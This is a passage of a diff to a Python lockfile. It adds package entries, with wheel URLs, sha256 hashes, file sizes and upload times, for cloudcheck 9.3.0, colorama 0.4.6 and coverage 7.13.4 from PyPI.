"sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1", size = 1396770, upload-time = "2026-02-03T17:37:29.563Z" }, + { url = "https://files.pythonhosted.org/packages/d0/5f/bf37567f1597deb72cf0a3cd57d27817b7d868164215516eb96e2dee112c/cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9", size = 4164144, upload-time = "2026-02-03T17:35:02.84Z" }, + { url = "https://files.pythonhosted.org/packages/c7/8a/e45a21c4e9b54b885170f495016f105b68dda8e8f8b965cbacde37791dcf/cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3", size = 3518061, upload-time = "2026-02-03T17:35:20.106Z" }, + { url = "https://files.pythonhosted.org/packages/c4/40/e72ecf531a3e7848de7df9704bea5de200c3c6309e64108139d00b0c1bd4/cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2", size = 4031957, upload-time = "2026-02-03T17:35:35.416Z" }, + { url = "https://files.pythonhosted.org/packages/96/50/4f9e8a1ea2f6e465e42d75b76e07d3da336ff603acf4c02d4d847c92d661/cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288", size = 4559939, upload-time = "2026-02-03T17:36:29.075Z" }, + { url = "https://files.pythonhosted.org/packages/0e/37/9eb5d2237ea85a447698368f07f3f3f0e1b8d5b1b72385b2439527efb792/cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62", size = 3845175, upload-time = "2026-02-03T17:36:43.572Z" }, + { url = "https://files.pythonhosted.org/packages/4e/5a/73c6b39ee3a9cbdb9c4d9fca543d988a60cdaf029ae049fe1ed0b533bda5/cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9", size = 4199475, upload-time = "2026-02-03T17:36:58.999Z" }, + { url = "https://files.pythonhosted.org/packages/4a/7f/025a6b01b25e6fd9c1501772fb386f42c79927cdcc4d4a2e9030b58bb7b3/cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab", size = 4230077, upload-time = "2026-02-03T17:37:16.286Z" }, + { url = "https://files.pythonhosted.org/packages/95/94/aed52ba78556cf9d049dfcd265d1d6214a6a78ccff81dd68c1729801ee71/cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989", size = 1623052, upload-time = "2026-02-03T17:36:20.563Z" }, + { url = "https://files.pythonhosted.org/packages/aa/57/fded827f83f8fa5ae9e38f038c825955025898a9788dbee5280f5dc30a71/cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4", size = 1587276, upload-time = "2026-02-03T17:36:13.502Z" }, + { url = "https://files.pythonhosted.org/packages/84/dd/233f12e63440374c5949b39dcde2382346a79f0a117660c348c34ba7a170/cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48", size = 4167268, upload-time = "2026-02-03T17:35:04.723Z" }, + { url = "https://files.pythonhosted.org/packages/5d/a7/cf8aac0d334f2ebdad8562dbd7e46f5e8acadceabf9d8ce3f7cd918b16b7/cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4", size = 3519999, upload-time = "2026-02-03T17:35:21.989Z" }, + { url = "https://files.pythonhosted.org/packages/63/89/9be9aa3fbdb4a130159ea7c74a4e4123e12be2e20f911bb6e8649a42b77d/cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40", size = 4110767, upload-time = "2026-02-03T17:35:51.454Z" }, + { url = "https://files.pythonhosted.org/packages/f3/80/aec26543ab4efd3e9b1c69746ba48464ccc726e0b22eb174ebfd9096cdeb/cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61", size = 4030036, upload-time = "2026-02-03T17:35:37.058Z" }, + { url = "https://files.pythonhosted.org/packages/ca/9a/c06aed3e79f62b4184be89fa6f32edbb1f20ce86ee49fb1a9245e7899b4d/cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220", size = 3960739, upload-time = "2026-02-03T17:36:02.644Z" }, + { url = "https://files.pythonhosted.org/packages/14/94/fb37c742e32009abfae262e32cc4dc32760fd8a3c05e73ebbad3265f4948/cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba", size = 3553719, upload-time = "2026-02-03T17:19:10.233Z" }, + { url = "https://files.pythonhosted.org/packages/80/45/4e03e1fa4f3ebdeb9b56271bd9130af3a6631ed36a6acb24ab935782a610/cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe", size = 4562957, upload-time = "2026-02-03T17:36:30.528Z" }, + { url = "https://files.pythonhosted.org/packages/12/39/1dbea307334ada4a640b1a7dcf8b5607d231d1beae35aba6682d2c993f67/cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5", size = 3849514, upload-time = "2026-02-03T17:36:45.524Z" }, + { url = "https://files.pythonhosted.org/packages/58/ff/f5d829e36a1a6f85f18a147ff20c544478359397652f622e32b37d044eb3/cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8", size = 4202797, upload-time = "2026-02-03T17:37:00.642Z" }, + { url = "https://files.pythonhosted.org/packages/05/0d/6b2847f41e791157829ad71d2aa7e259c38a5f49c211fde60663770fdde5/cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7", size = 4227095, upload-time = "2026-02-03T17:37:18.3Z" }, + { url = "https://files.pythonhosted.org/packages/2e/6f/14f52d56f6dfdbf49366d0500d41e83887b440d00096669adf06d5788411/cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088", size = 1297125, upload-time = "2026-02-03T17:37:32.623Z" }, + { url = "https://files.pythonhosted.org/packages/63/c1/a60dc7d844859ff663b6f5dd72890675ac8d3a3d4552990b202b653e565c/cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67", size = 1397209, upload-time = "2026-02-03T17:37:31.14Z" }, + { url = "https://files.pythonhosted.org/packages/10/2b/2d313a4c8ac4b3212c145daf1cf2c407887d5585ebe17ca15fb7ff72be0e/cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63", size = 4163997, upload-time = "2026-02-03T17:35:06.257Z" }, + { url = "https://files.pythonhosted.org/packages/f2/2f/0ee67e21a98327b2ce2ba5a8eea6ff4317d28cb7bd27afcab61ba98e49c5/cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb", size = 3517979, upload-time = "2026-02-03T17:35:23.419Z" }, + { url = "https://files.pythonhosted.org/packages/1c/6d/cc3da21a8a7f63786e3cf5ad3007db73f49f051e6471e967c528424a6bc6/cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054", size = 4030537, upload-time = "2026-02-03T17:35:38.541Z" }, + { url = "https://files.pythonhosted.org/packages/d7/96/62f3012f9181ef17400490d527db0e6180cf0f25de3eb7f9f854800ba869/cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34", size = 4560503, upload-time = "2026-02-03T17:36:32.801Z" }, + { url = "https://files.pythonhosted.org/packages/65/d9/d3126053275e4abc21f49643914c26b344df91c44da77790f481cb266cff/cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b", size = 3844998, upload-time = "2026-02-03T17:36:47.168Z" }, + { url = "https://files.pythonhosted.org/packages/19/9e/45aa754f49b82365e524aceb67484880fee53d9e728d6a369e0a62343cd9/cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26", size = 4201211, upload-time = "2026-02-03T17:37:03.595Z" }, + { url = "https://files.pythonhosted.org/packages/f3/20/c7617ad4da53f90d36c40275314141cfeb74ace10c5398d2742cf772c72f/cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28", size = 4228974, upload-time = "2026-02-03T17:37:19.92Z" }, + { url = "https://files.pythonhosted.org/packages/ae/31/fbf97823e0730c579c3ecde4ae6a94132312071724786b9f873d77cba0e1/cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1", size = 4171611, upload-time = "2026-02-03T17:35:10.973Z" }, + { url = "https://files.pythonhosted.org/packages/5f/1d/da2809e0065d0ea93091200285f7313cce04517b4284791a593a770c7804/cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd", size = 3523200, upload-time = "2026-02-03T17:35:26.796Z" }, + { url = "https://files.pythonhosted.org/packages/ae/98/bb46d6cd5c97bc0201a64337edb9aed7bc6a11c22b6b4da982023013f3e4/cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe", size = 4118696, upload-time = "2026-02-03T17:35:55.169Z" }, + { url = "https://files.pythonhosted.org/packages/87/2c/29dc618cbf5a3699166a86934cb28cb78275459ebbc602729034aab2fe76/cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82", size = 4037811, upload-time = "2026-02-03T17:35:43.838Z" }, + { url = "https://files.pythonhosted.org/packages/08/b8/8919ffe57f1fb23def9bc8899e0eae3dad72d2bee87d44dce7b988949626/cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459", size = 3964908, upload-time = "2026-02-03T17:36:05.847Z" }, + { url = "https://files.pythonhosted.org/packages/df/fd/d8ba1101030ec2e165da7acd103e414a02bc610a9972deec02587447d7b8/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8", size = 4565725, upload-time = "2026-02-03T17:36:35.795Z" }, + { url = "https://files.pythonhosted.org/packages/31/a0/83fbc2f615a7f995a3f4dadc5909998b3ab3967678d53e5ea9b1d6629588/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a", size = 3852289, upload-time = "2026-02-03T17:36:50.138Z" }, + { url = "https://files.pythonhosted.org/packages/25/64/cbc543a16eb8e036f0bc9be7687d3e3c4fc46883c57609896b8084219976/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515", size = 4207939, upload-time = "2026-02-03T17:37:07.172Z" }, + { url = "https://files.pythonhosted.org/packages/40/80/d4ba464388e7ae68b36f81d3091cbe9be6b0dff450f24612552205e93d91/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f", size = 4230542, upload-time = "2026-02-03T17:37:22.976Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "coverage" +version = "7.13.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/56/95b7e30fa389756cb56630faa728da46a27b8c6eb46f9d557c68fff12b65/coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91", size = 827239, upload-time = "2026-02-09T12:59:03.86Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/44/d4/7827d9ffa34d5d4d752eec907022aa417120936282fc488306f5da08c292/coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415", size = 219152, upload-time = "2026-02-09T12:56:11.974Z" }, + { url = "https://files.pythonhosted.org/packages/35/b0/d69df26607c64043292644dbb9dc54b0856fabaa2cbb1eeee3331cc9e280/coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b", size = 219667, upload-time = "2026-02-09T12:56:13.33Z" }, + { url = "https://files.pythonhosted.org/packages/82/a4/c1523f7c9e47b2271dbf8c2a097e7a1f89ef0d66f5840bb59b7e8814157b/coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a", size = 246425, upload-time = "2026-02-09T12:56:14.552Z" }, + { url = "https://files.pythonhosted.org/packages/f8/02/aa7ec01d1a5023c4b680ab7257f9bfde9defe8fdddfe40be096ac19e8177/coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f", size = 248229, upload-time = "2026-02-09T12:56:16.31Z" }, + { url = "https://files.pythonhosted.org/packages/35/98/85aba0aed5126d896162087ef3f0e789a225697245256fc6181b95f47207/coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012", size = 250106, upload-time = "2026-02-09T12:56:18.024Z" }, + { url = "https://files.pythonhosted.org/packages/96/72/1db59bd67494bc162e3e4cd5fbc7edba2c7026b22f7c8ef1496d58c2b94c/coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def", size = 252021, upload-time = "2026-02-09T12:56:19.272Z" }, + { url = "https://files.pythonhosted.org/packages/9d/97/72899c59c7066961de6e3daa142d459d47d104956db43e057e034f015c8a/coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256", size = 247114, upload-time = "2026-02-09T12:56:21.051Z" }, + { url = "https://files.pythonhosted.org/packages/39/1f/f1885573b5970235e908da4389176936c8933e86cb316b9620aab1585fa2/coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda", size = 248143, upload-time = "2026-02-09T12:56:22.585Z" }, + { url = "https://files.pythonhosted.org/packages/a8/cf/e80390c5b7480b722fa3e994f8202807799b85bc562aa4f1dde209fbb7be/coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92", size = 246152, upload-time = "2026-02-09T12:56:23.748Z" }, + { url = "https://files.pythonhosted.org/packages/44/bf/f89a8350d85572f95412debb0fb9bb4795b1d5b5232bd652923c759e787b/coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c", size = 249959, upload-time = "2026-02-09T12:56:25.209Z" }, + { url = "https://files.pythonhosted.org/packages/f7/6e/612a02aece8178c818df273e8d1642190c4875402ca2ba74514394b27aba/coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58", size = 246416, upload-time = "2026-02-09T12:56:26.475Z" }, + { url = "https://files.pythonhosted.org/packages/cb/98/b5afc39af67c2fa6786b03c3a7091fc300947387ce8914b096db8a73d67a/coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9", size = 247025, upload-time = "2026-02-09T12:56:27.727Z" }, + { url = "https://files.pythonhosted.org/packages/51/30/2bba8ef0682d5bd210c38fe497e12a06c9f8d663f7025e9f5c2c31ce847d/coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf", size = 221758, upload-time = "2026-02-09T12:56:29.051Z" }, + { url = "https://files.pythonhosted.org/packages/78/13/331f94934cf6c092b8ea59ff868eb587bc8fe0893f02c55bc6c0183a192e/coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95", size = 222693, upload-time = "2026-02-09T12:56:30.366Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ad/b59e5b451cf7172b8d1043dc0fa718f23aab379bc1521ee13d4bd9bfa960/coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053", size = 219278, upload-time = "2026-02-09T12:56:31.673Z" }, + { url = "https://files.pythonhosted.org/packages/f1/17/0cb7ca3de72e5f4ef2ec2fa0089beafbcaaaead1844e8b8a63d35173d77d/coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11", size = 219783, upload-time = "2026-02-09T12:56:33.104Z" }, + { url = "https://files.pythonhosted.org/packages/ab/63/325d8e5b11e0eaf6d0f6a44fad444ae58820929a9b0de943fa377fe73e85/coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa", size = 250200, upload-time = "2026-02-09T12:56:34.474Z" }, + { url = "https://files.pythonhosted.org/packages/76/53/c16972708cbb79f2942922571a687c52bd109a7bd51175aeb7558dff2236/coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7", size = 252114, upload-time = "2026-02-09T12:56:35.749Z" }, + { url = "https://files.pythonhosted.org/packages/eb/c2/7ab36d8b8cc412bec9ea2d07c83c48930eb4ba649634ba00cb7e4e0f9017/coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00", size = 254220, upload-time = "2026-02-09T12:56:37.796Z" }, + { url = "https://files.pythonhosted.org/packages/d6/4d/cf52c9a3322c89a0e6febdfbc83bb45c0ed3c64ad14081b9503adee702e7/coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef", size = 256164, upload-time = "2026-02-09T12:56:39.016Z" }, + { url = "https://files.pythonhosted.org/packages/78/e9/eb1dd17bd6de8289df3580e967e78294f352a5df8a57ff4671ee5fc3dcd0/coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903", size = 250325, upload-time = "2026-02-09T12:56:40.668Z" }, + { url = "https://files.pythonhosted.org/packages/71/07/8c1542aa873728f72267c07278c5cc0ec91356daf974df21335ccdb46368/coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f", size = 251913, upload-time = "2026-02-09T12:56:41.97Z" }, + { url = "https://files.pythonhosted.org/packages/74/d7/c62e2c5e4483a748e27868e4c32ad3daa9bdddbba58e1bc7a15e252baa74/coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299", size = 249974, upload-time = "2026-02-09T12:56:43.323Z" }, + { url = "https://files.pythonhosted.org/packages/98/9f/4c5c015a6e98ced54efd0f5cf8d31b88e5504ecb6857585fc0161bb1e600/coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505", size = 253741, upload-time = "2026-02-09T12:56:45.155Z" }, + { url = "https://files.pythonhosted.org/packages/bd/59/0f4eef89b9f0fcd9633b5d350016f54126ab49426a70ff4c4e87446cabdc/coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6", size = 249695, upload-time = "2026-02-09T12:56:46.636Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2c/b7476f938deb07166f3eb281a385c262675d688ff4659ad56c6c6b8e2e70/coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9", size = 250599, upload-time = "2026-02-09T12:56:48.13Z" }, + { url = "https://files.pythonhosted.org/packages/b8/34/c3420709d9846ee3785b9f2831b4d94f276f38884032dca1457fa83f7476/coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9", size = 221780, upload-time = "2026-02-09T12:56:50.479Z" }, + { url = "https://files.pythonhosted.org/packages/61/08/3d9c8613079d2b11c185b865de9a4c1a68850cfda2b357fae365cf609f29/coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f", size = 222715, upload-time = "2026-02-09T12:56:51.815Z" }, + { url = "https://files.pythonhosted.org/packages/18/1a/54c3c80b2f056164cc0a6cdcb040733760c7c4be9d780fe655f356f433e4/coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f", size = 221385, upload-time = "2026-02-09T12:56:53.194Z" }, + { url = "https://files.pythonhosted.org/packages/d1/81/4ce2fdd909c5a0ed1f6dedb88aa57ab79b6d1fbd9b588c1ac7ef45659566/coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459", size = 219449, upload-time = "2026-02-09T12:56:54.889Z" }, + { url = "https://files.pythonhosted.org/packages/5d/96/5238b1efc5922ddbdc9b0db9243152c09777804fb7c02ad1741eb18a11c0/coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3", size = 219810, upload-time = "2026-02-09T12:56:56.33Z" }, + { url = "https://files.pythonhosted.org/packages/78/72/2f372b726d433c9c35e56377cf1d513b4c16fe51841060d826b95caacec1/coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634", size = 251308, upload-time = "2026-02-09T12:56:57.858Z" }, + { url = "https://files.pythonhosted.org/packages/5d/a0/2ea570925524ef4e00bb6c82649f5682a77fac5ab910a65c9284de422600/coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3", size = 254052, upload-time = "2026-02-09T12:56:59.754Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ac/45dc2e19a1939098d783c846e130b8f862fbb50d09e0af663988f2f21973/coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa", size = 255165, upload-time = "2026-02-09T12:57:01.287Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4d/26d236ff35abc3b5e63540d3386e4c3b192168c1d96da5cb2f43c640970f/coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3", size = 257432, upload-time = "2026-02-09T12:57:02.637Z" }, + { url = "https://files.pythonhosted.org/packages/ec/55/14a966c757d1348b2e19caf699415a2a4c4f7feaa4bbc6326a51f5c7dd1b/coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a", size = 251716, upload-time = "2026-02-09T12:57:04.056Z" }, + { url = "https://files.pythonhosted.org/packages/77/33/50116647905837c66d28b2af1321b845d5f5d19be9655cb84d4a0ea806b4/coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7", size = 253089, upload-time = "2026-02-09T12:57:05.503Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b4/8efb11a46e3665d92635a56e4f2d4529de6d33f2cb38afd47d779d15fc99/coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = 